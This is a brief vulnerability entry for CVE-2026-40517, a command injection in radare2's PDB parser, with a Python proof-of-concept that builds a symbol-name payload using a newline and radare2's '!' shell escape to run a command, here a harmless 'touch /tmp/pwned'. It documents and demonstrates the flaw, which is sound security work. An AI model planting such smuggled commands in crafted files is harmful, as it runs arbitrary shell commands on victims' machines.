CVE-2026-40517 radare2 PDB解析器命令注入漏洞

# PoC Concept for CVE-2026-40517 # This script demonstrates the payload structure used to exploit the command injection. # The actual exploit requires embedding this payload into a PDB file's symbol name. # Malicious payload containing a newline and a radare2 shell command payload = "legit_symbol\n!touch /tmp/pwned" # In a real scenario, this payload would be injected into the symbol name # within a crafted PDB file. # When the victim runs: # r2 -c 'idp' malicious_file.pdb # The parser interprets the newline as a command separator. # The '!' tells radare2 to execute the rest via the system shell. print(f"Payload to inject into PDB symbol name: {repr(payload)}") print("Trigger: User runs 'idp' command on the malicious file in radare2.")
